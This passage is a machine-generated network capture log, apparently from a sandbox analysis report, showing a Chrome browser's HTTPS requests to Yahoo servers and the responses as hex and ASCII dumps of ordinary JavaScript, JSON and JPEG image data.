26 44 65 6e 6f 26 26 22 6f 62 6a Data Ascii: r.constructor&&r.constructor.prototype;t.exports=o===Object.prototype?void 0:o},7871:function(t,e,n){var r=n(3823),o=n(5268);t.exports=!r&&!o&&"object"==typeof window&&"object"==typeof document},3823:function(t){t.exports="object"==typeof Deno&&Deno&&"obj
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 74 61 74 3b 69 66 28 6e 3d 6d 3f 72 3a 68 3f 72 5b 76 5d 7c 7c 63 28 76 2c 7b 7d 29 3a 28 72 5b 76 5d 7c 7c 7b 7d 29 2e 70 72 6f 74 6f 74 79 70 65 29 66 6f 72 28 66 20 69 6e 20 65 29 7b 69 66 28 70 3d 65 5b 66 5d 2c 6c 3d 74 2e 64 6f 6e 74 43 61 6c 6c 47 65 74 53 65 74 3f 28 64 3d 6f 28 6e 2c 66 29 29 26 26 64 2e 76 61 6c 75 65 3a 6e 5b 66 5d 2c 21 73 28 6d 3f 66 3a 76 2b 28 68 3f 22 2e 22 3a 22 23 22 29 2b 66 2c 74 2e 66 6f 72 63 65 64 29 26 26 76 6f 69 64 20 30 21 3d 3d 6c 29 7b 69 66 28 74 79 70 65 6f 66 20 70 3d 3d 74 79 70 65 6f 66 20 6c 29 63 6f 6e 74 69 6e 75 65 3b 75 28 70 2c 6c 29 7d 28 74 2e 73 68 61 6d 7c 7c 6c 26 26 6c 2e 73 68 61 6d 29 26 26 69 28 70 2c 22 73 68 61 6d 22 2c 21 30 29 2c 61 28 6e 2c 66 2c 70 2c 74 29 7d 7d 7d 2c 37 32 39 33 3a Data Ascii: tat;if(n=m?r:h?r[v]\|\|c(v,{}):(r[v]\|\|{}).prototype)for(f in e){if(p=e[f],l=t.dontCallGetSet?(d=o(n,f))&&d.value:n[f],!s(m?f:v+(h?".":"#")+f,t.forced)&&void 0!==l){if(typeof p==typeof l)continue;u(p,l)}(t.sham\|\|l&&l.sham)&&i(p,"sham",!0),a(n,f,p,t)}}},7293:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49806	52.86.89.200	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:49 UTC	901	OUT	GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1 Host: guce.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
2024-04-27 22:41:50 UTC	470	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent, X-Forwarded-For, X-Oath-Gcrumb Server: guce Date: Sat, 27 Apr 2024 22:41:50 GMT Connection: close Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Type: application/json Content-Length: 140 Access-Control-Allow-Methods: HEAD, GET, OPTIONS
2024-04-27 22:41:50 UTC	140	IN	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 22 36 36 71 32 6a 69 39 6a 32 71 76 70 61 22 2c 22 69 64 65 6e 74 69 66 69 65 72 54 79 70 65 22 3a 22 62 69 64 22 2c 22 74 6f 73 52 65 63 6f 72 64 73 22 3a 7b 22 6e 6f 6e 45 75 22 3a 7b 22 63 6f 6e 73 65 6e 74 45 76 65 6e 74 73 22 3a 7b 22 69 61 62 43 43 50 41 22 3a 22 31 59 4e 4e 22 2c 22 67 70 70 22 3a 22 44 42 41 41 22 2c 22 67 70 70 53 69 64 22 3a 22 2d 31 22 7d 7d 7d 7d Data Ascii: {"identifier":"66q2ji9j2qvpa","identifierType":"bid","tosRecords":{"nonEu":{"consentEvents":{"iabCCPA":"1YNN","gpp":"DBAA","gppSid":"-1"}}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49810	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	538	OUT	GET /aaq/wf/wf-caas-1.36.5-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	848	IN	HTTP/1.1 200 OK x-amz-id-2: FcKIs17CoVnPzQxmCHrS0CNk5lrv+fRpPWNXHfxuNZKroqq0jqCF1ENxCaDJBfpC8a/bqPifPkYkTB2mriMquqvcMy90yOjK x-amz-request-id: 7P3EYDNTPW8RVNEM Date: Sat, 27 Apr 2024 22:29:54 GMT Last-Modified: Wed, 27 Mar 2024 16:25:40 GMT ETag: "55cc85bad916cd86ed872d7a0026bc60" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: H.VS0y5ycBNxveUoBRq_I2jiNcFLkA8N Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 29151 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 717 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 63 61 61 73 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 63 61 61 73 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-caas",[],t):"object"==typeof exports?exports["wafer-caas"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 Data Ascii: ype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function n(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a func
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 28 21 63 7c 7c 21 6f 29 72 65 74 75 72 6e 20 72 26 26 72 28 69 29 2c 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 3b 61 26 26 28 65 2e 64 61 74 61 2e 70 61 72 74 6e 65 72 44 61 74 61 2e 67 72 6f 75 70 4e 61 6d 65 3d 61 29 3b 76 61 72 20 6c 3d 63 2e 75 75 69 64 2c 64 3d 7b 61 73 73 65 74 73 3a 74 2c 69 74 65 6d 73 3a 5b 65 5d 7d 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 5f 5f 77 61 66 65 72 43 61 61 73 43 6f 6c 6c 65 63 74 69 6f 6e 2e 73 65 74 28 6c 2c 64 29 2c 65 7d 29 29 7d 2c 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 5b 5d 2c 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 Data Ascii: (!c\|\|!o)return r&&r(i),Promise.resolve();a&&(e.data.partnerData.groupName=a);var l=c.uuid,d={assets:t,items:[e]};return window.__waferCaasCollection.set(l,d),e}))},y=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.le
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 72 20 69 6e 20 61 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 72 29 26 26 28 65 5b 72 5d 3d 61 5b 72 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 43 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 5b 5d 2c 72 3d 21 30 2c 69 3d 21 31 2c 73 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 6e 2c 6f 3d 65 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 72 3d 28 6e 3d 6f 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 26 26 28 61 2e 70 75 73 68 28 6e 2e Data Ascii: t=1;t<arguments.length;t++){var a=arguments[t];for(var r in a)Object.prototype.hasOwnProperty.call(a,r)&&(e[r]=a[r])}return e},C=function(){function e(e,t){var a=[],r=!0,i=!1,s=void 0;try{for(var n,o=e[Symbol.iterator]();!(r=(n=o.next()).done)&&(a.push(n.
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 79 4e 61 6d 65 2c 44 3d 52 2e 67 65 74 57 61 66 65 72 46 6f 72 54 79 70 65 2c 46 3d 52 2e 67 65 74 57 61 66 65 72 49 6e 73 74 61 6e 63 65 46 6f 72 45 6c 65 6d 2c 7a 3d 52 2e 73 65 74 54 69 6d 65 6f 75 74 2c 48 3d 5b 22 63 61 61 73 2d 63 6f 6c 6c 61 70 73 65 64 22 2c 22 63 61 61 73 2d 75 72 6c 22 2c 22 63 61 61 73 2d 75 75 69 64 22 5d 2c 59 3d 7b 7d 2c 55 3d 7b 7d 2c 47 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 73 3d 61 2e 63 61 61 73 43 6f 6e 66 69 67 2c 6e 3d 61 2e 65 72 72 6f 72 43 6c 61 73 73 2c 6f 3d 61 2e 73 65 6c 65 63 74 Data Ascii: yName,D=R.getWaferForType,F=R.getWaferInstanceForElem,z=R.setTimeout,H=["caas-collapsed","caas-url","caas-uuid"],Y={},U={},G=function(e){function t(e){var a=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},s=a.caasConfig,n=a.errorClass,o=a.select
2024-04-27 22:41:50 UTC	39	IN	Data Raw: 6e 75 6c 6c 3d 3d 3d 66 7c 7c 76 6f 69 64 20 30 3d 3d 3d 66 3f 30 3a 4e 75 6d 62 65 72 28 66 29 2c 22 63 61 61 73 2d Data Ascii: null===f\|\|void 0===f?0:Number(f),"caas-
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 75 72 6c 22 3a 75 2c 22 63 61 61 73 2d 75 75 69 64 22 3a 68 2c 63 61 63 68 65 3a 6e 75 6c 6c 3d 3d 3d 64 7c 7c 76 6f 69 64 20 30 3d 3d 3d 64 3f 31 3a 4e 75 6d 62 65 72 28 64 29 2c 63 61 61 73 43 6f 6e 66 69 67 3a 73 2c 63 61 63 68 65 53 74 72 61 74 65 67 79 3a 76 2c 63 61 63 68 65 54 74 6c 3a 6e 75 6c 6c 3d 3d 3d 70 7c 7c 76 6f 69 64 20 30 3d 3d 3d 70 3f 33 30 30 3a 4e 75 6d 62 65 72 28 70 29 2c 64 65 70 65 6e 64 65 6e 63 79 45 6c 65 6d 3a 50 2c 69 73 50 72 65 66 65 74 63 68 3a 6e 75 6c 6c 3d 3d 3d 6d 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6d 3f 30 3a 4e 75 6d 62 65 72 28 6d 29 2c 74 61 72 67 65 74 45 6c 65 6d 3a 6a 2c 74 69 6d 65 6f 75 74 3a 6e 75 6c 6c 3d 3d 3d 79 7c 7c 76 6f 69 64 20 30 3d 3d 3d 79 3f 36 65 33 3a 4e 75 6d 62 65 72 28 79 29 2c 65 6c 65 6d 3a Data Ascii: url":u,"caas-uuid":h,cache:null===d\|\|void 0===d?1:Number(d),caasConfig:s,cacheStrategy:v,cacheTtl:null===p\|\|void 0===p?300:Number(p),dependencyElem:P,isPrefetch:null===m\|\|void 0===m?0:Number(m),targetElem:j,timeout:null===y\|\|void 0===y?6e3:Number(y),elem:
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 65 73 73 43 6c 61 73 73 3b 69 66 28 69 26 26 21 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 73 29 29 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 6a 65 63 74 28 6e 65 77 20 45 72 72 6f 72 28 22 64 65 70 65 6e 64 65 6e 63 79 20 6e 6f 74 20 79 65 74 20 63 6f 6d 70 6c 65 74 65 22 29 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 69 66 28 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 73 29 29 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 21 30 29 3b 76 61 72 20 6f 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 63 3d 6f 2e 63 61 61 73 43 6f 6e 66 69 67 2c 6c 3d 76 6f 69 64 20 30 3d 3d 3d 63 3f 7b 7d 3a 63 2c 64 3d 6f 2e 63 61 63 68 65 53 74 72 61 74 65 67 79 2c 66 3d 6f 2e 63 61 63 Data Ascii: essClass;if(i&&!i.classList.contains(s))return Promise.reject(new Error("dependency not yet complete"));var n=this._util.elem;if(n.classList.contains(s))return Promise.resolve(!0);var o=this._util,c=o.caasConfig,l=void 0===c?{}:c,d=o.cacheStrategy,f=o.cac
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 61 73 73 65 74 73 3b 69 66 28 21 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 3b 69 66 28 22 73 69 64 65 6b 69 63 6b 22 21 3d 3d 77 26 26 77 69 6e 64 6f 77 2e 43 41 41 53 29 72 65 74 75 72 6e 20 65 3b 76 61 72 20 61 3d 65 2e 73 74 79 6c 65 2c 72 3d 59 5b 77 5d 3b 72 65 74 75 72 6e 20 72 3f 72 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 3a 28 59 5b 77 5d 3d 79 28 74 2c 61 2c 77 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 2c 59 5b 77 5d 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 69 3d 77 2e 6c 65 6e 67 74 68 3f 77 5b 30 5d 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 77 2e 73 6c 69 63 Data Ascii: function(e){var t=e.assets;if(!t.length)return e;if("sidekick"!==w&&window.CAAS)return e;var a=e.style,r=Y[w];return r?r.then(function(){return e}):(Y[w]=y(t,a,w).then(function(){return e}),Y[w])}).then(function(r){var i=w.length?w[0].toUpperCase()+w.slic
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 63 61 61 73 2d 62 6f 64 79 2d 63 6f 6c 6c 61 70 73 65 64 22 29 7d 69 66 28 6f 26 26 6f 2e 63 61 6c 6c 28 65 2c 6e 2c 72 29 2c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 63 61 61 73 2d 74 72 69 67 67 65 72 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 73 29 2c 53 2e 65 6d 69 74 4c 6f 67 28 7b 6e 61 6d 65 3a 22 57 61 66 65 72 43 61 61 73 22 2c 65 6c 65 6d 3a 6e 2c 6d 65 74 61 3a 7b 64 75 72 61 74 69 6f 6e 3a 6c 2c 73 6f 75 72 63 65 3a 67 3f 22 4d 45 4d 4f 52 59 22 3a 64 2c 75 72 6c 3a 74 7d 7d 29 2c 22 64 65 66 61 75 6c 74 22 3d 3d 3d 77 29 7b 76 61 72 20 78 3d 72 2e 69 74 65 6d 73 5b 30 5d 2e 64 61 74 61 2e 70 61 72 74 6e 65 72 44 61 Data Ascii: classList.add("caas-body-collapsed")}if(o&&o.call(e,n,r),n.classList.remove("wafer-caas-trigger-inprogress"),n.classList.add(s),S.emitLog({name:"WaferCaas",elem:n,meta:{duration:l,source:g?"MEMORY":d,url:t}}),"default"===w){var x=r.items[0].data.partnerDa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49814	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	517	OUT	GET /uu/api/res/1.2/ZIWiYPSpTqkV1ID50tQY3g--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/cnn_articles_875/7868482ad7432882868004637e3628f8.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	1297	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 393176668479281777013927598805146387423,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="7868482ad7432882868004637e3628f8.webp" Edge-Cache-Tag: 393176668479281777013927598805146387423,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "09fd661d13ca2e2fd8ce9b43d07f43cc" Last-Modified: Sat, 27 Apr 2024 13:06:47 GMT Server: ATS Status: 200 OK Surrogate-Reporting: width=536,height=284,bytes=27238,owidth=960,oheight=540,obytes=116359,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Request-Id: fee4beb7be897a9be323a9c45d219fd7 Accept-Ranges: bytes Date: Sat, 27 Apr 2024 15:19:55 GMT X-Served-By: cache-lga21983-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714231196.811291,VS0,VE1 Age: 26515 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_id: fee4beb7be897a9be323a9c45d219fd7 cld_by: cache-lga21983-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 63823 ATS-Carp-Promotion: 1 Connection: close
2024-04-27 22:41:50 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 1c 02 18 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 01 08 09 ff c4 00 51 10 00 01 03 02 04 04 03 06 05 01 05 05 05 06 03 09 01 02 03 04 05 11 00 06 12 21 07 13 31 41 22 51 61 08 14 32 71 81 a1 15 23 42 Data Ascii: JFIFCCQ!1A"Qa2q#B
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 61 51 b0 fc ab 8f 87 ef 84 df 02 48 01 90 0d f4 fd f0 cb b1 ca 21 b9 63 cb 0e a1 6d 07 2c 79 7d f0 a8 14 0e 58 f2 fb e1 07 68 39 49 fd bf 7c 11 ad 03 96 07 e9 c0 1c a2 77 96 2f 7b 60 ae 05 47 74 0c 20 6d a0 68 18 41 a0 68 18 42 a0 68 18 42 a0 68 18 42 a0 68 18 42 a0 68 18 42 db 63 3a cc c3 4b 8a cc 94 b0 a7 b9 8e 84 69 0a 09 ef 7b 5c f9 81 6f af f3 83 d5 b2 b5 34 e2 bb 68 dd e9 38 ba 7a 92 6f 51 8f 12 80 a6 d0 e7 4d 69 be 93 d4 7c f1 a1 8d 27 b5 59 95 95 14 a6 e8 1a 06 2d ee 2b d0 34 0c 3c 54 0d 03 08 54 0d 03 08 54 0d 03 08 5b 41 a0 61 0a 81 a0 61 02 81 a0 61 06 81 a0 61 02 82 f2 f0 28 34 0e 56 0a e0 6b 47 39 69 c2 12 40 e5 a7 00 76 d0 72 d3 82 0d a0 e5 8e d8 14 1d a2 7c bf 2c 2e 46 b8 d1 ce 59 f2 c1 1b 47 79 76 c0 b6 3b 68 34 1c 1b 60 a1 3d 23 f6 fd f0 Data Ascii: aQH!cm,y}Xh9I\|w/{`Gt mhAhBhBhBhBhBc:Ki{\o4h8zoQMi\|'Y-+4<TTT[Aaaaa(4VkG9i@vr\|,.FYGyv;h4`=#
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 36 38 b9 af 94 b2 f5 d6 ab 1f 8f 8d e9 34 1e 90 bb 34 55 05 97 5a 20 23 fe d3 48 20 fa 10 01 17 ef 8e a2 18 da 1a 1a b0 a8 f9 39 e9 e5 6b 2b 1f 46 83 cf d6 59 6b 76 c6 a2 a0 45 d2 2f 6e ff 00 31 8d ae ce 36 8c 16 f3 09 e5 e5 6b bf 90 7a 98 e5 69 11 dd 52 52 a7 01 b1 37 b6 d7 e9 fc 7d f1 5f d6 76 35 3e 9f e5 2e 7a 2e f6 9f d4 f2 23 26 03 91 d6 94 ac 03 a8 5f 63 7b 7a 6d 8d cc 2c cd 3c bf 9c e7 73 30 f5 31 75 38 13 e4 14 f7 c5 bf 05 4a 14 d0 70 a8 20 e5 e1 50 8e a5 16 c3 79 0b 8d 86 4a 7d 70 57 02 51 a0 da 7d 70 6c 1b 41 a7 d7 0a c2 a3 42 7c 91 e5 80 0d a2 9c bc 36 4f ec 25 c0 6d 03 0c 10 34 0c 3a 2e 82 9d 03 40 c0 dc c5 60 d0 30 b7 31 ad 58 34 0c 2d cc 75 83 40 c2 dc c6 b5 60 d0 30 b7 31 d6 0d 03 0b 73 1a d5 83 40 c3 b9 12 43 ea 13 4a 55 66 08 42 54 a2 64 Data Ascii: 6844UZ #H 9k+FYkvE/n16kziRR7}_v5>.z.#&_c{zm,<s01u8Jp PyJ}pWQ}plAB\|6O%m4:.@`01X4-u@`01s@CJUfBTd
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 23 9a 7d 70 d0 86 d0 9f 2c 11 bb 41 a1 3d 6d 80 2d a7 2c 9f 2c 11 6d 00 45 fb e1 ac 1b 41 cb f5 c2 4e 85 40 e5 fa e1 37 62 a0 ba 2d db 09 07 69 cd 1e 98 70 b6 9d e5 9f 2c 35 83 68 39 67 cb 00 5b 42 68 f4 c3 90 76 83 47 a6 1f 17 f7 16 d0 ba 7d 70 d1 cf c0 34 fa e0 48 89 f2 0d 03 0d 11 cd 1e 98 74 42 82 68 f4 c3 e9 0e 06 8f 4c 0e 10 2c 2e 81 85 42 6a c1 a0 61 50 92 a0 68 18 54 10 68 18 54 35 c6 c2 72 d3 84 9d 06 81 cb 4e 0e e1 51 ce 52 7f 6f df 0d 06 d1 32 d8 3d 45 b0 56 a0 dd ad 05 e4 1f db f7 c3 94 84 e2 66 ae e6 7c bf 4a a6 a2 aa 62 96 d6 f0 69 08 53 f2 4a 8b ff 00 a8 59 4a ba dc 37 fd 20 91 d7 1f 36 e8 3d 69 73 2f 98 f7 e4 a3 ed c0 21 e6 04 ad f5 a1 ea 6c d7 92 db 4e 12 a5 b4 b6 c1 36 24 8b 9b 5c 02 74 82 13 d0 0f 5b ae fe ac 1d c1 0a 51 83 24 e3 57 aa Data Ascii: 